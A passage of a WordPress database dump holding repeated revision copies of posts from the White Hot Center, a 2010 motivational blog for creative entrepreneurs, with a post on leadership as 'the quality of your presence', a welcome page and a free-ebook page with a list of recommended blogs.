present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another''s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-autosave', '', '', '2010-12-27 15:53:59', '2010-12-27 22:53:59', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-autosave/', 0, 'revision', '', 0),
(1073, 2, '2010-09-26 12:13:59', '2010-09-26 19:13:59', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life,and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-13', '', '', '2010-09-26 12:13:59', '2010-09-26 19:13:59', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-13/', 0, 'revision', '', 0),
(1075, 2, '2010-09-26 12:23:06', '2010-09-26 19:23:06', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another''s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-15', '', '', '2010-09-26 12:23:06', '2010-09-26 19:23:06', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-15/', 0, 'revision', '', 0),
(1074, 2, '2010-09-26 12:15:06', '2010-09-26 19:15:06', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-14', '', '', '2010-09-26 12:15:06', '2010-09-26 19:15:06', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-14/', 0, 'revision', '', 0),
(1076, 2, '2010-07-01 14:39:20', '2010-07-01 21:39:20', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in\r\nyour creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-07-01 14:39:20', '2010-07-01 21:39:20', '', 172, 'http://www.whitehotcenter.com/2010/07/01/172-revision-77/', 0, 'revision', '', 0),
(1077, 2, '2010-09-30 18:31:17', '2010-10-01 01:31:17', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame\r\nof mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-09-30 18:31:17', '2010-10-01 01:31:17', '', 172, 'http://www.whitehotcenter.com/2010/09/30/172-revision-78/', 0, 'revision', '', 0),
(1078, 2, '2010-09-30 18:31:48', '2010-10-01 01:31:48', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business. My mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree these core benchmarks are worthwhile pursuing with unbridled passion:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">developing strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">creating more free time and money to design methods to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">creating a life of greater meaning and significance through your unique gifts and contributions to the world.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve been a creative entrepreneur, designer, creative director and brand strategy consultant working with global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to their customers. Using my knowledge, expertise and insight, I guide creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be a useful source of inspiration and innovation to help you tap into the power of your creative source– your own white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievement.  Your inspired thought and disciplined actions will make this happen. Creating meaningful success is a life-long process of never ending growth and expansion. When you are burning bright, you delight in continuously asking yourself–how far can I take my ideas?\r\n\r\nSo if you find the information here to be useful, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-09-30 18:31:48', '2010-10-01 01:31:48', '', 172, 'http://www.whitehotcenter.com/2010/09/30/172-revision-79/', 0, 'revision', '', 0),
(1080, 2, '2010-09-30 18:54:51', '2010-10-01 01:54:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in taking a quantum leap in your creative business success, and in your whole life experience. Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span></h2>\r\n<h2>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</h2>\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and hot within you!  My passion is exploring and experimenting with ideas that help creative entrepreneurs and solo professionals expand their thinking to create a life of significance and contribution doing what they love powered by the financial success of their business.\r\n\r\nMy mission is to inspire and guide you toward more clarity and confidence to identify and pursue your best opportunities. Many creative professionals and entrepreneurs I have worked with agree desire to experience these benchmarks through the venue of their business:\r\n<h2><span style="color: #ff6600;">freedom to do the "work" that matters most to you and serves the good of others.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients who love you.</span></h2>\r\n<h2><span style="color: #ff6600;">mastery of strategies and tactics to competition-proof your business with the right clients who value your contribution to them, and as a result, are delighted to show their appreciation by paying the premium fees your unique talents and expertise commands and deserves.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle and personal effectiveness mastery to rise above the daily complexities your business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">having more free time and money to expand your contribution to your clients and colleagues, not to mention your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<strong>About Me</strong>\r\nFor over 25 years, I''ve pursued my passion for life as a creative entrepreneur, designer, creative director and brand strategy consultant serving global organizations and small start-ups alike. My expertise helps them discover their unique voice, define their organizational identity, and create more compelling innovations and value propositions to influence their customers.  I write and podcast about ideas for creative entrepreneurs at the crossroads of personal and professional growth, lifestyle design, value creation and demand generation. You can learn about my professional background in consumer product marketing and brand innovation here: <a href="http://www.pullinc.com" target="_blank">www.pullinc.com</a>\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas? That''s how I feel when I am writing and sharing here!\r\n\r\nI hope you find the information here to be useful. I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2010-09-30 18:54:51', '2010-10-01 01:54:51', '', 172, 'http://www.whitehotcenter.com/2010/09/30/172-revision-81/', 0, 'revision', '', 0),
(1081, 2, '2010-06-30 15:40:58', '2010-06-30 22:40:58', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">White Hot Center founder Thomson Dawson offers six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will help place you in a frame of mind to create a value monopoly with your customers. In an age of commoditization in every product and service category, this guide will help you discover and define what it takes to make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>I put a good amount of my best thinking into the Guide, if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-06-30 15:40:58', '2010-06-30 22:40:58', '', 145, 'http://www.whitehotcenter.com/2010/06/30/145-revision-28/', 0, 'revision', '', 0),
(1082, 2, '2010-10-02 11:56:42', '2010-10-02 18:56:42', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">White Hot Center founder Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind to create a value monopoly with your customers. In an age of commoditization, in every product and service category, this guide will help you discover and define what can make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" 